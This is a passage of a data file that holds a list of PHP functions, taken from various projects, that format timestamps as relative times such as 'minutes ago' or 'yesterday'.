'cjpopups'),\n\t\t'second' => __('second', 'cjpopups'),\n );\n $plurals = array(\n \t'year' => __('years', 'cjpopups'),\n\t\t'month' => __('months', 'cjpopups'),\n\t\t'day' => __('days', 'cjpopups'),\n\t\t'hour' => __('hours', 'cjpopups'),\n\t\t'minute' => __('minutes', 'cjpopups'),\n\t\t'second' => __('seconds', 'cjpopups'),\n );\n foreach ($a as $secs => $str){\n $d = $etime / $secs;\n if ($d >= 1){\n $r = round($d);\n return $r . ' ' . ($r > 1 ? $plurals[$str] : $singular[$str]) .' '. __('ago', 'cjpopups');\n }\n }\n}", "public static function time_offset($t, $f = 'h:ma M. j Y T'){\n\t$o = time() - $t;\n\tswitch($o){\n\t\tcase($o <= 1): return \"just now\"; break;\n\t\tcase($o < 20): return $o . \" seconds ago\"; break;\n\t\tcase($o < 40): return \"half a minute ago\"; break;\n\t\tcase($o < 60): return \"less than a minute ago\"; break;\n\t\tcase($o <= 90): return \"1 minute ago\"; break;\n\t\tcase($o <= 59*60): return round($o / 60) . \" minutes ago\"; break;\n\t\tcase($o <= 60*60*1.5): return \"1 hour ago\"; break;\n\t\tcase($o <= 60*60*24): return round($o / 60 / 60) . \" hours ago\"; break;\n\t\tcase($o <= 60*60*24*1.5): return \"1 day ago\"; break;\n\t\tcase($o < 60*60*24*7): return round($o / 60 / 60 / 24) . \" days ago\"; break;\n\t\tcase($o <= 60*60*24*9): return \"1 week ago\"; break;\n\t\tdefault: return date($f, $t);\n\t}\n }", "public function memberSince()\n {\n $format = __d('users', '%d %b %Y, %R');\n\n return $this->created_at->formatLocalized($format);\n }", "static function time_elapsed_string($datetime, $full = false) {\n\t\t $now = new DateTime;\n\t\t $ago = new DateTime($datetime);\n\t\t $diff = $now->diff($ago);\n\n\t\t $diff->w = floor($diff->d / 7);\n\t\t $diff->d -= $diff->w * 7;\n\n\t\t $string = array(\n\t\t 'y' => 'year',\n\t\t 'm' => 'month',\n\t\t 'w' => 'week',\n\t\t 'd' => 'day',\n\t\t 'h' => 'hour',\n\t\t 'i' => 'minute',\n\t\t 's' => 'second',\n\t\t );\n\t\t foreach ($string as $k => &$v) {\n\t\t if ($diff->$k) {\n\t\t $v = $diff->$k . ' ' . $v . ($diff->$k > 1 ? 's' : '');\n\t\t } else {\n\t\t unset($string[$k]);\n\t\t }\n\t\t }\n\n\t\t if (!$full) $string = array_slice($string, 0, 1);\n\t\t return $string ? implode(', ', $string) . ' ago' : 'just now';\n\t\t}", "public static function timeAgo($from, $to='') {\n\t\tif ( empty($to) ) $to = time();\n\t\t\n\t\t$from = is_string($from)? strtotime($from) : intval($from);\n\t\t$to = is_string($to)? strtotime($to) : intval($to);\n\t\t\n\t\t$since = '';\n\t\t$diff = (int) abs($to - $from); //in seconds\n\t\tif ($diff <= 3600) $since = round($diff / 60).'m ago'; /* 1 minute .. 60 minutes */\n\t\telseif ( $diff>3600 && $diff<=86400 ) $since = round($diff / 3600).'h ago'; /* 1 hour .. 24 hours */\n\t\telseif ( $diff>86400 && $diff<=604800 ) $since = round($diff / 86400).'d ago'; /* 1 day .. 7 days */\n\t\telseif ( $diff>604800 && $diff<=3024000 ) $since = round($diff / 604800).'w ago'; /* 1 week .. 5 weeks */\n\t\t\n\t\treturn $since;\n\t}", "function exa_get_time( $post = null ) {\n\t\n\t$post = get_post($post);\n\t$secondsSincePublishing = _exa_seconds_since_published( $post );\n\n\t$since = \"\";\n\tif( exa_is_published_today( $post ) ) {\n\n\t\tif ( $secondsSincePublishing <= HOUR_IN_SECONDS ) {\n\t\t\t$mins = round( $secondsSincePublishing / MINUTE_IN_SECONDS );\n\t\t\tif( $mins < 1)\n\t\t\t\t$mins = 1;\n\t\t\t$since = sprintf( _n('%s minute ago', '%s minutes ago', $mins, 'exa'), $mins);\n\t\t} else {\n\t\t\t$hours = round( $secondsSincePublishing / HOUR_IN_SECONDS );\n\t\t\t$since = sprintf( _n('%s hour ago', '%s hours ago', $hours, 'exa'), $hours);\n\t\t}\n\t}\n\telse if( exa_is_published_yesterday( $post ) ) {\n\t\t$since = \"Yesterday\";\n\t}\n\telse {\n\t\t$since = get_the_time(\"M j, Y\",$post);\n\t}\n\t\n\treturn $since;\n}", "function get_time_ago($time) {\n $time_difference = time() - $time;\n\n if( $time_difference < 1 ) { return 'less than 1 second ago'; }\n $condition = array( 12 * 30 * 24 * 60 * 60 => 'year',\n 30 * 24 * 60 * 60 => 'month',\n 24 * 60 * 60 => 'day',\n 60 * 60 => 'hour',\n 60 => 'minute',\n 1 => 'second'\n );\n\n foreach( $condition as $secs => $str )\n {\n $d = $time_difference / $secs;\n\n if( $d >= 1 )\n {\n $t = round( $d );\n return $t . ' ' . $str . ( $t > 1 ? 's' : '' ) . ' ago';\n }\n }\n}", "function TimeAgo($datefrom,$dateto=-1) {\n\t\t// its an error rather than the epoch\n\n\t\tif($datefrom<=0) { return \"A long time ago\"; }\n\t\tif($dateto==-1) { $dateto = time(); }\n\n\t\t// Calculate the difference in seconds betweeen\n\t\t// the two timestamps\n\n\t\t$difference = $dateto - $datefrom;\n\n\t\t// If difference is less than 60 seconds,\n\t\t// seconds is a good interval of choice\n\n\t\tif($difference < 60) {\n\t\t\t$interval = \"s\";\n\t\t}\n\n\t\t// If difference is between 60 seconds and\n\t\t// 60 minutes, minutes is a good interval\n\t\telseif($difference >= 60 && $difference<60*60) {\n\t\t\t$interval = \"n\";\n\t\t}\n\n\t\t// If difference is between 1 hour and 24 hours\n\t\t// hours is a good interval\n\t\telseif($difference >= 60*60 && $difference<60*60*24) {\n\t\t\t$interval = \"h\";\n\t\t}\n\n\t\t// If difference is between 1 day and 7 days\n\t\t// days is a good interval\n\t\telseif($difference >= 60*60*24 && $difference<60*60*24*7){\n\t\t\t$interval = \"d\";\n\t\t}\n\n\t\t// If difference is between 1 week and 30 days\n\t\t// weeks is a good interval\n\t\telseif($difference >= 60*60*24*7 && $difference <60*60*24*30) {\n\t\t\t$interval = \"ww\";\n\t\t}\n\n\t\t// If difference is between 30 days and 365 days\n\t\t// months is a good interval, again, the same thing\n\t\t// applies, if the 29th February happens to exist\n\t\t// between your 2 dates, the function will return\n\t\t// the 'incorrect' value for a day\n\t\telseif($difference >= 60*60*24*30 && $difference <60*60*24*365) {\n\t\t\t$interval = \"m\";\n\t\t}\n\n\t\t// If difference is greater than or equal to 365\n\t\t// days, return year. This will be incorrect if\n\t\t// for example, you call the function on the 28th April\n\t\t// 2008 passing in 29th April 2007. It will return\n\t\t// 1 year ago when in actual fact (yawn!) not quite\n\t\t// a year has gone by\n\t\telseif($difference >= 60*60*24*365) {\n\t\t\t$interval = \"y\";\n\t\t}\n\n\t\t// Based on the interval, determine the\n\t\t// number of units between the two dates\n\t\t// From this point on, you would be hard\n\t\t// pushed telling the difference between\n\t\t// this function and DateDiff. If the $datediff\n\t\t// returned is 1, be sure to return the singular\n\t\t// of the unit, e.g. 'day' rather 'days'\n\n\t\tswitch($interval) {\n\t\t\tcase \"m\":\n\t\t\t$months_difference = floor($difference / 60 / 60 / 24 /29);\n\t\t\twhile (mktime(date(\"H\", $datefrom), date(\"i\", $datefrom), date(\"s\", $datefrom), date(\"n\", $datefrom)+($months_difference), date(\"j\", $dateto), date(\"Y\", $datefrom)) < $dateto) {\n\t\t\t\t$months_difference++;\n\t\t\t}\n\t\t\t$datediff = $months_difference;\n\n\t\t\t// We need this in here because it is possible\n\t\t\t// to have an 'm' interval and a months\n\t\t\t// difference of 12 because we are using 29 days\n\t\t\t// in a month\n\n\t\t\tif($datediff==12) {\n\t\t\t\t$datediff--;\n\t\t\t}\n\n\t\t\t$res = ($datediff==1) ? \"$datediff \".$this->lang()->index->monthAgo : \"$datediff \".$this->lang()->index->monthsAgo;\n\t\t\tbreak;\n\n\t\t\tcase \"y\":\n\t\t\t$datediff = floor($difference / 60 / 60 / 24 / 365);\n\t\t\t$res = ($datediff==1) ? \"$datediff \".$string->index->yearAgo : \"$datediff \".$this->lang()->index->yearsAgo;\n\t\t\tbreak;\n\n\t\t\tcase \"d\":\n\t\t\t$datediff = floor($difference / 60 / 60 / 24);\n\t\t\t$res = ($datediff==1) ? \"$datediff \".$this->lang()->index->dayAgo : \"$datediff \".$this->lang()->index->daysAgo;\n\t\t\tbreak;\n\n\t\t\tcase \"ww\":\n\t\t\t$datediff = floor($difference / 60 / 60 / 24 / 7);\n\t\t\t$res = ($datediff==1) ? \"$datediff \".$this->lang()->index->weekAgo : \"$datediff \".$this->lang()->index->weeksAgo;\n\t\t\tbreak;\n\n\t\t\tcase \"h\":\n\t\t\t$datediff = floor($difference / 60 / 60);\n\t\t\t$res = ($datediff==1) ? \"$datediff \".$this->lang()->index->hourAgo : \"$datediff \".$this->lang()->index->hoursAgo;\n\t\t\tbreak;\n\n\t\t\tcase \"n\":\n\t\t\t$datediff = floor($difference / 60);\n\t\t\t$res = ($datediff==1) ? \"$datediff \".$this->lang()->index->minuteAgo :\"$datediff \".$this->lang()->index->minutesAgo;\n\t\t\tbreak;\n\n\t\t\tcase \"s\":\n\t\t\t$datediff = $difference;\n\t\t\t$res = ($datediff==1) ? \"$datediff \".$this->lang()->index->secondAgo :\"$datediff \".$this->lang()->index->secondsAgo;\n\t\t\tbreak;\n\t\t}\n\t\treturn $res;\n\t}", "function get_timeago( $ptime )\n{\n $estimate_time = time() - $ptime;\n\n if( $estimate_time < 1 )\n {\n return 'less than 1 second ago';\n }\n\n $condition = array(\n 12 * 30 * 24 * 60 * 60 => 'year',\n 30 * 24 * 60 * 60 => 'month',\n 24 * 60 * 60 => 'day',\n 60 * 60 => 'hour',\n 60 => 'minute',\n 1 => 'second'\n );\n\n foreach( $condition as $secs => $str )\n {\n $d = $estimate_time / $secs;\n\n if( $d >= 1 )\n {\n $r = round( $d );\n return 'about ' . $r . ' ' . $str . ( $r > 1 ? 's' : '' ) . ' ago';\n }\n }\n}", "function relative_time ($datetime) {\n\t// like \"Two hours ago\", \"Last week\", etc.\n\t\n\t// http://maniacalrage.net/projects/relative/\n\t\n\tif (!preg_match(\"/\\d\\d\\d\\d-\\d\\d-\\d\\d \\d\\d\\:\\d\\d\\:\\d\\d/\", $datetime)) {\n\t\treturn '';\n\t}\n\n\t$in_seconds = strtotime($datetime);\n\t$now = time();\n\n\t$diff \t= $now - $in_seconds;\n\t$months\t= floor($diff/2419200);\n\t$diff \t-= $months * 2419200;\n\t$weeks \t= floor($diff/604800);\n\t$diff\t-= $weeks*604800;\n\t$days \t= floor($diff/86400);\n\t$diff \t-= $days * 86400;\n\t$hours \t= floor($diff/3600);\n\t$diff \t-= $hours * 3600;\n\t$minutes = floor($diff/60);\n\t$diff \t-= $minutes * 60;\n\t$seconds = $diff;\n \n\t\n\tif ($months > 0) {\n\t\t// Over a month old, just show the actual date.\n\t\t$date = substr($datetime, 0, 9);\n\t\treturn date(\"j M Y\", strtotime($date));\n\n\t} else {\n\t\t$relative_date = '';\n\t\tif ($weeks > 0) {\n\t\t\t// Weeks \n\t\t\t$relative_date .= ($relative_date?', ':'').$weeks.' week'.($weeks>1?'s':'');\n\t\t} elseif ($days > 0) {\n\t\t\t// days \n\t\t\t$relative_date .= ($relative_date?', ':'').$days.' day'.($days>1?'s':'');\n\t\t} elseif ($hours > 0) {\n\t\t\t// hours \n\t\t\t$relative_date .= ($relative_date?', ':'').$hours.' hour'.($hours>1?'s':'');\n\t\t} elseif ($minutes > 0) {\n\t\t\t// minutes only\n\t\t\t$relative_date .= ($relative_date?', ':'').$minutes.' minute'.($minutes>1?'s':'');\n\t\t} else {\n\t\t\t// seconds only\n\t\t\t$relative_date .= ($relative_date?', ':'').$seconds.' second'.($seconds>1?'s':'');\n\t\t}\n\t}\n\t\n\t// Return relative date and add proper verbiage\n\treturn $relative_date.' ago';\n\t\n}", "public static function getHumanDate($date)\n {\n $diff = time() - $date;\n if ($diff > (86400 * 30)) {\n return date('M j/y \\a\\t h:i', $date);\n } else {\n if ($diff > 86400) {\n return ((int)($diff / 86400)) . 'd ago';\n } else {\n if ($diff > 3600) {\n return ((int)($diff / 3600)) . 'h ago';\n } else {\n return ((int)($diff / 60)) . 'm ago';\n }\n }\n }\n }", "public function LastChange()\n {\n $today = new DateTime(); // This object represents current date/time\n $today->setTime(0, 0, 0); // reset time part, to prevent partial comparison\n\n $dateTime = DateTime::createFromFormat('Y-m-d H:i:s', $this->Changed);\n if (!($dateTime instanceof DateTime)) {\n return '---';\n }\n\n $todayTime = $dateTime;\n $todayTime->setTime(0, 0, 0); // reset time part, to prevent partial comparison\n\n $diff = $today->diff($todayTime);\n $diffDays = (integer)$diff->format('%R%a'); // Extract days count in interval\n\n switch ($diffDays) {\n case 0:\n return 'Heute ' . date('H:i', strtotime($this->Changed));\n break;\n case -1:\n return 'Gestern ' . date('H:i', strtotime($this->Changed));\n break;\n default:\n return date('j. M H:i', strtotime($this->Changed));\n }\n }", "function pzdc_answer_created_at($echo = TRUE, $format = NULL) {\n global $PraizedCommunity;\n $out = $PraizedCommunity->tpt_attribute_helper('answer', 'created_at', FALSE);\n if ( strstr($format, '%'))\n $out = pzdc_date($out, $format);\n if ( $echo )\n echo $out;\n return $out;\n}", "public function addedAt()\n {\n $output = '<time-ago class=\"cursor-help\"';\n $output .= ' datetime=\"' . $this->created_at->toIso8601String() . '\"';\n $output .= ' title=\"' . formatDateTime($this->created_at) . '\">';\n $output .= formatDateTime($this->created_at, true);\n $output .= '</time-ago>';\n\n return $output;\n }", "public function formatTimeAgo($time,$long=false) {\n\t\tif (is_string($time)) {\n\t\t\tif (is_numeric($time)) {\n\t\t\t\t$datestamp = (int) $time;\n\t\t\t} else {\n\t\t\t\t$datestamp = strtotime($time);\n\t\t\t}\n\t\t} else {\n\t\t\t$datestamp = $time;\n\t\t}\n\t\t$seconds = floor((time() - $datestamp));\n\t\tif ($seconds < 60) {\n\t\t\t$ago_str = $seconds . ' seconds ago';\n\t\t} else if ($seconds >= 60 && $seconds < 120) {\n\t\t\t$ago_str = '1 minute ago';\n\t\t} else if ($seconds >= 120 && $seconds < 3600) {\n\t\t\t$ago_str = floor($seconds / 60) .' minutes ago';\n\t\t} else if ($seconds >= 3600 && $seconds < 7200) {\n\t\t\t$ago_str = '1 hour ago';\n\t\t} else if ($seconds >= 7200 && $seconds < 86400) {\n\t\t\t$ago_str = floor($seconds / 3600) .' hours ago';\n\t\t} else if ($seconds >= 86400 && $seconds < 31536000) {\n\t\t\tif ($long) {\n\t\t\t\t$ago_str = date('l, F d', $datestamp);\n\t\t\t} else {\n\t\t\t\t$ago_str = date('d M', $datestamp);\n\t\t\t}\n\t\t} else {\n\t\t\tif ($long) {\n\t\t\t\t$ago_str = date('l, F d, Y', $datestamp);\n\t\t\t} else {\n\t\t\t\t$ago_str = date('d M, y', $datestamp);\n\t\t\t}\n\t\t}\n\t\treturn $ago_str;\n\t}", "function human_time($datefrom, $dateto = -1)\n{\n\t// Defaults and assume if 0 is passed in that its an error rather than the epoch\n\tif ( $datefrom <= 0 )\n\t\treturn \"A long time ago\";\n\t\t\n\tif ( $dateto == -1) { \n\t\t$dateto = time(); \n\t}\n\t\n\t// Calculate the difference in seconds betweeen the two timestamps\n\t$difference = $dateto - $datefrom;\n\t\n\t// If difference is less than 60 seconds use 'seconds'\n\tif ( $difference < 60 )\n\t{ \n\t\t$interval = \"s\"; \n\t}\n\t// If difference is between 60 seconds and 60 minutes use 'minutes'\n\telse if ( $difference >= 60 AND $difference < (60*60) )\n\t{\n\t\t$interval = \"n\"; \n\t}\n\t// If difference is between 1 hour and 24 hours use 'hours'\n\telse if ( $difference >= (60*60) AND $difference < (60*60*24) )\n\t{\n\t\t$interval = \"h\"; \n\t}\n\t// If difference is between 1 day and 7 days use 'days'\n\telse if ( $difference >= (60*60*24) AND $difference < (60*60*24*7) )\n\t{\n\t\t$interval = \"d\"; \n\t}\n\t// If difference is between 1 week and 30 days use 'weeks'\n\telse if ( $difference >= (60*60*24*7) AND $difference < (60*60*24*30) )\n\t{\n\t\t$interval = \"ww\";\n\t}\n\t// If difference is between 30 days and 365 days use 'months'\n\telse if ( $difference >= (60*60*24*30) AND $difference < (60*60*24*365) )\n\t{\n\t\t$interval = \"m\"; \n\t}\n\t// If difference is greater than or equal to 365 days use 'years'\n\telse if ( $difference >= (60*60*24*365) )\n\t{\n\t\t$interval = \"y\"; \n\t}\n\t\n\t// Based on the interval, determine the number of units between the two dates\n\t// If the $datediff returned is 1, be sure to return the singular\n\t// of the unit, e.g. 'day' rather 'days'\n\tswitch ($interval)\n\t{\n\t\tcase \"m\" :\n\t\t\t$months_difference = floor($difference / 60 / 60 / 24 / 29);\n\t\t\t\n\t\t\twhile(\n\t\t\t\tmktime(date(\"H\", $datefrom), date(\"i\", $datefrom),\n\t\t\t\tdate(\"s\", $datefrom), date(\"n\", $datefrom)+($months_difference),\n\t\t\t\tdate(\"j\", $dateto), date(\"Y\", $datefrom)) < $dateto)\n\t\t\t{\n\t\t\t\t$months_difference++;\n\t\t\t}\n\t\t\t$datediff = $months_difference;\n\t\n\t\t\t// We need this in here because it is possible to have an 'm' interval and a months\n\t\t\t// difference of 12 because we are using 29 days in a month\n\t\t\tif ( $datediff == 12 )\n\t\t\t{ \n\t\t\t\t$datediff--; \n\t\t\t}\n\t\n\t\t\t$res = ($datediff==1) ? \"$datediff month ago\" : \"$datediff months ago\";\n\t\t\t\n\t\t\tbreak;\n\t\n\t\tcase \"y\" :\n\t\t\t$datediff = floor($difference / 60 / 60 / 24 / 365);\n\t\t\t$res = ($datediff==1) ? \"$datediff year ago\" : \"$datediff years ago\";\n\n\t\t\tbreak;\n\t\n\t\tcase \"d\" :\n\t\t\t$datediff = floor($difference / 60 / 60 / 24);\n\t\t\t$res = ($datediff==1) ? \"$datediff day ago\" : \"$datediff days ago\";\n\t\t\t\n\t\t\tbreak;\n\t\n\t\tcase \"ww\" :\n\t\t\t$datediff = floor($difference / 60 / 60 / 24 / 7);\n\t\t\t$res = ($datediff==1) ? \"$datediff week ago\" : \"$datediff weeks ago\";\n\n\t\t\tbreak;\n\t\n\t\tcase \"h\" :\n\t\t\t$datediff = floor($difference / 60 / 60);\n\t\t\t$res = ($datediff==1) ? \"$datediff hour ago\" : \"$datediff hours ago\";\n\n\t\t\tbreak;\n\t\n\t\tcase \"n\" :\n\t\t\t$datediff = floor($difference / 60);\n\t\t\t$res = ($datediff==1) ? \"$datediff minute ago\" : \"$datediff minutes ago\";\n\t\n\t\t\tbreak;\n\t\n\t\tcase \"s\":\n\t\t\t$datediff = $difference;\n\t\t\t$res = ($datediff==1) ? \"$datediff second ago\" : \"$datediff seconds ago\";\n\t\t\t\n\t\t\tbreak;\n\t}\n\n\treturn $res;\n}", "public function humanize()\n {\n $now = IntlCalendar::fromDateTime(self::now($this->timezone));\n $time = $this->getCalendar()->getTime();\n\n $years = $now->fieldDifference($time, IntlCalendar::FIELD_YEAR);\n $months = $now->fieldDifference($time, IntlCalendar::FIELD_MONTH);\n $days = $now->fieldDifference($time, IntlCalendar::FIELD_DAY_OF_YEAR);\n $hours = $now->fieldDifference($time, IntlCalendar::FIELD_HOUR_OF_DAY);\n $minutes = $now->fieldDifference($time, IntlCalendar::FIELD_MINUTE);\n\n $phrase = null;\n\n if ($years !== 0) {\n $phrase = lang('Time.years', [abs($years)]);\n $before = $years < 0;\n } elseif ($months !== 0) {\n $phrase = lang('Time.months', [abs($months)]);\n $before = $months < 0;\n } elseif ($days !== 0 && (abs($days) >= 7)) {\n $weeks = ceil($days / 7);\n $phrase = lang('Time.weeks', [abs($weeks)]);\n $before = $days < 0;\n } elseif ($days !== 0) {\n $before = $days < 0;\n\n // Yesterday/Tomorrow special cases\n if (abs($days) === 1) {\n return $before ? lang('Time.yesterday') : lang('Time.tomorrow');\n }\n\n $phrase = lang('Time.days', [abs($days)]);\n } elseif ($hours !== 0) {\n $phrase = lang('Time.hours', [abs($hours)]);\n $before = $hours < 0;\n } elseif ($minutes !== 0) {\n $phrase = lang('Time.minutes', [abs($minutes)]);\n $before = $minutes < 0;\n } else {\n return lang('Time.now');\n }\n\n return $before ? lang('Time.ago', [$phrase]) : lang('Time.inFuture', [$phrase]);\n }", "function relative_date($datetime, $full = false)\n {\n $now = new DateTime;\n $ago = new DateTime('@'.$datetime);\n $diff = $now->diff($ago);\n\n $diff->w = floor($diff->d / 7);\n $diff->d -= $diff->w * 7;\n\n $string = array(\n 'y' => 'year',\n 'm' => 'month',\n 'w' => 'week',\n 'd' => 'day',\n 'h' => 'hour',\n 'i' => 'minute',\n 's' => 'second',\n );\n foreach ($string as $k => &$v) {\n if ($diff->$k) {\n $v = $diff->$k . ' ' . $v . ($diff->$k > 1 ? 's' : '');\n } else {\n unset($string[$k]);\n }\n }\n\n if (!$full) $string = array_slice($string, 0, 1);\n return $string ? implode(', ', $string) . ' ago' : 'just now';\n }", "function friendlydate_html($timestamp, $html = true) {\n\t$now = time();\n\t$now = $GLOBALS[\"now\"]; //TODO: remove this line once we're using the actual time\n\t$diff = $now - $timestamp;\n\tif ($timestamp == $now)\n\t\t$datestring = \"right now\";\n\telse if ($timestamp > strtotime(\"+1 day\", $now) || $timestamp < strtotime(\"January 1 00:00\", $now))\n\t\t// more than 24 hours ahead or not this year -- give full date\n\t\t$datestring = date(\"Y M j, H:i\", $timestamp);\n\telse if ($diff < 0) {\n\t\t// future\n\t\tif ($diff < -60 * 60) {\n\t\t\t// more than an hour in the future -- give rough number of hours\n\t\t\t$hours = round(-$diff / 60 / 60);\n\t\t\t$datestring = \"in $hours hour\" . plural($hours);\n\t\t} else if ($diff < -60) {\n\t\t\t// more than a minute in the future -- give rough number of minutes\n\t\t\t$minutes = round(-$diff / 60);\n\t\t\t$datestring = \"in $minutes minute\" . plural($minutes);\n\t\t} else\n\t\t\t$datestring = \"imminently\";\n\t} else if ($timestamp < strtotime(\"today\", $now)) {\n\t\t// yesterday or before\n\t\t$datestring = date(\"D, M j, H:i\", $timestamp);\n\t\tif ($timestamp < strtotime(\"-6 days 00:00\", $now))\n\t\t\t// a week or more ago -- leave at month and day\n\t\t\ttrue;\n\t\telse if ($timestamp < strtotime(\"-1 day 00:00\", $now))\n\t\t\t// before yesterday -- additionally give number of days ago\n\t\t\t$datestring .= \" (\" . round((strtotime(\"00:00\", $now) - strtotime(\"00:00\", $timestamp)) /24/60/60) . \"&nbsp;days&nbsp;ago)\";\n\t\telse\n\t\t\t// yesterday -- say so\n\t\t\t$datestring .= \" (yesterday)\";\n\t} else if ($diff > 60 * 60) {\n\t\t// more than an hour ago -- give rough number of hours\n\t\t$hours = round($diff / 60 / 60);\n\t\t$datestring = $hours . \" hour\" . plural($hours) . \" ago\";\n\t} else if ($diff > 60) {\n\t\t// more than a minute ago -- give rough number of minutes\n\t\t$minutes = round($diff / 60);\n\t\t$datestring = $minutes . \" minute\" . plural($minutes) . \" ago\";\n\t} else\n\t\t$datestring = \"just now\";\n\tif ($html)\n\t\treturn \"<span class=\\\"date\\\" title=\\\"\" . date(\"Y-m-d H:i:s T (O)\", $timestamp) . \"\\\">$datestring</span>\";\n\treturn str_replace(\"&nbsp;\", \" \", $datestring);\n}", "function get_time_ago( $time )\n{\n $time_difference = time() - $time;\n \n if( $time_difference < 1 ) { return 'less than 1 second ago'; }\n $condition = array( 12 * 30 * 24 * 60 * 60 => 'year',\n 30 * 24 * 60 * 60 => 'month',\n 24 * 60 * 60 => 'day',\n 60 * 60 => 'hour',\n 60 => 'minute',\n 1 => 'second'\n );\n \n foreach( $condition as $secs => $str )\n {\n $d = $time_difference / $secs;\n \n if( $d >= 1 )\n {\n $t = round( $d );\n return $t . ' ' . $str . ( $t > 1 ? 's' : '' ) . ' ago';\n }\n }\n}", "public function time_ago_format_date($the_date, $d, $post) {\n // Get the post id\n if ( is_int( $post) ) {\n $post_id = $post;\n } else {\n $post_id = $post->ID;\n }\n // subtract the post date from the current time\n $date_string = human_time_diff( strtotime($the_date) ) . ' ago';\n // make the string prettier\n $datestring = str_replace('min', 'minute', $date_string);\n\n return $date_string;\n }", "public function getPassedString($full = false) {\n $today = new \\DateTime;\n $diff = $today->diff($this->date);\n\n $diff->w = floor($diff->d / 7);\n $diff->d -= $diff->w * 7;\n\n $string = [\n 'y' => 'year',\n 'm' => 'month',\n 'w' => 'week',\n 'd' => 'day',\n 'h' => 'hour',\n 'i' => 'minute',\n 's' => 'second'\n ];\n\n foreach ($string as $k => &$v) {\n if ($diff->$k) {\n $v = $diff->$k . ' ' . $v . ($diff->$k > 1 ? 's' : '');\n } else {\n unset($string[$k]);\n }\n }\n if (!$full) {\n $string = array_slice($string, 0, 1);\n }\n return $string ? implode(',', $string) . ' ago' : 'just now';\n }", "public static function timeAgo($originTime){\n $timestamp = strtotime($originTime);\n\n $strTime = array(\"second\", \"minute\", \"hour\", \"day\", \"month\", \"year\");\n $length = array(\"60\",\"60\",\"24\",\"30\",\"12\",\"10\");\n /*$currentTime = time();*/\n $expression = new \\yii\\db\\Expression('NOW()');\n $now = (new \\yii\\db\\Query)->select($expression)->scalar();\n $currentTime = strtotime($now);\n\n if($currentTime >= $timestamp) {\n $diff = $currentTime- $timestamp;\n for($i = 0; $diff >= $length[$i] && $i < count($length)-1; $i++) {\n $diff = $diff / $length[$i];\n }\n\n $diff = round($diff);\n $singular = \"\";\n if($diff > 1){\n $singular = \"s\";\n }\n return $diff . \" \" . $strTime[$i] . $singular.\" ago \";\n }\n\n }", "function facebook_time_ago($TIMESTAMP)\n\t\t{\n\t\t\t$time_ago = strtotime($TIMESTAMP);\n\t\t\t$current_time = time();\n\t\t\t$time_difference = $current_time - $time_ago;\n\n\t\t\t$seconds = $time_difference;\n\t\t\t$minutes = round($seconds / 60);\t\t//60 seconds\n\t\t\t$hours = round($seconds / 3600);\t\t//60 * 60\n\t\t\t$days = round($seconds / 86400);\t// 24 * 60 * 60\n\t\t\t$weeks = round($seconds / 604800); //7*24*60*60\n\t\t\t$months = round($seconds / 2629440);\n\t\t\t$years = round($seconds / 31553280);\n\n\t\t\tif($seconds <=60 )\n\t\t\t{\n\t\t\t\treturn \"Born Now\";\n\t\t\t}\n\t\t\telse if($minutes <=60)\n\t\t\t{\n\t\t\t\tif($minutes==1)\n\t\t\t\t{\n\t\t\t\t\treturn \"one minute ago\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn \"$minutes minutes ago\";\n\t\t\t}\n\t\t\t}\n\t\t\telse if($hours <=24)\n\t\t\t{\n\t\t\t\tif($hours==1)\n\t\t\t\t{\n\t\t\t\t\treturn \"one hour old\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn \"$hours hrs old\";\n\t\t\t}\n\t\t\t}\n\t\t\telse if($days <=7)\n\t\t\t{\n\t\t\t\tif($days==1)\n\t\t\t\t{\n\t\t\t\t\treturn \"yesterday\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn \"$days days old\";\n\t\t\t}\n\t\t\t}\n\t\t\telse if($weeks <=4.3) //4.3 == 52/12\n\t\t\t{\n\t\t\t\tif($weeks==1)\n\t\t\t\t{\n\t\t\t\t\treturn \"a week old\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn \"$weeks weeks old\";\n\t\t\t}\n\t\t\t}\n\t\t\telse if($months <=12)\n\t\t\t{\n\t\t\t\tif($months==1)\n\t\t\t\t{\n\t\t\t\t\treturn \"a month old\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn \"$months months old\";\n\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif($years==1)\n\t\t\t\t{\n\t\t\t\t\treturn \"one year old\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn \"$years years old\";\n\t\t\t\t}\n\t\t\t}\n\t\t}", "function timeSince ( $timestamp ) {\r\n\r\n\t$diff = time() - $timestamp;\r\n\r\n\tif ( $diff < 4000 ) {\r\n\t\t$diff = ceil ( $diff / 60 );\r\n\t\t$unit = \"minute\";\r\n\r\n\t} elseif ( $diff < 100000 ) {\r\n\t\t$diff = ceil ( $diff / 3600 );\r\n\t\t$unit = \"hour\";\r\n\r\n\t} else {\r\n\t\t$diff = ceil ( $diff / 86400 );\r\n\t\t$unit = \"day\";\r\n\t}\r\n\r\n\t$end = ( $diff <= 1 ) ? NULL : \"s\";\r\n\r\n\treturn \"$diff $unit$end ago\";\r\n\r\n}", "function timeAgoInWords($dateTime, $options = array())\n {\n $now = time();\n\n $inSeconds = strtotime($dateTime);\n $backwards = ($inSeconds > $now);\n\n $format = 'j/n/y';\n $end = '+1 month';\n\n if (is_array($options)) {\n if (isset($options['format'])) {\n $format = $options['format'];\n unset($options['format']);\n }\n if (isset($options['end'])) {\n $end = $options['end'];\n unset($options['end']);\n }\n } else {\n $format = $options;\n }\n\n if ($backwards) {\n $futureTime = $inSeconds;\n $pastTime = $now;\n } else {\n $futureTime = $now;\n $pastTime = $inSeconds;\n }\n $diff = $futureTime - $pastTime;\n\n // If more than a week, then take into account the length of months\n if ($diff >= 604800) {\n $current = array();\n $date = array();\n\n list($future['H'], $future['i'], $future['s'], $future['d'], $future['m'], $future['Y']) = explode('/', date('H/i/s/d/m/Y', $futureTime));\n\n list($past['H'], $past['i'], $past['s'], $past['d'], $past['m'], $past['Y']) = explode('/', date('H/i/s/d/m/Y', $pastTime));\n $years = $months = $weeks = $days = $hours = $minutes = $seconds = 0;\n\n if ($future['Y'] == $past['Y'] && $future['m'] == $past['m']) {\n $months = 0;\n $years = 0;\n } else {\n if ($future['Y'] == $past['Y']) {\n $months = $future['m'] - $past['m'];\n 